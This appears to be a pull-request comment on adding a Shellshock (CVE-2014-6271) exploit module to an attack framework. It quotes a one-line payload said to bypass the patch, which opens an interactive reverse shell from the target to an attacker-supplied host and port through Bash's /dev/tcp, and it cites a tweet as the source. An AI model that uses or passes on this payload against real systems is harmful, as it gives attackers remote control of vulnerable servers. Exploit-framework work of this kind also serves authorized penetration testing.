Add CVE-2014-6271 Module (Bash exploit)

This needs to be an exploit with a proper payload.
Do you think we should update this to use the version that bypasses the patch?
```
'() { (a)=>\' /bin/bash -i >& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1 &
```
From here: https://twitter.com/byt3bl33d3r/status/514892662437326848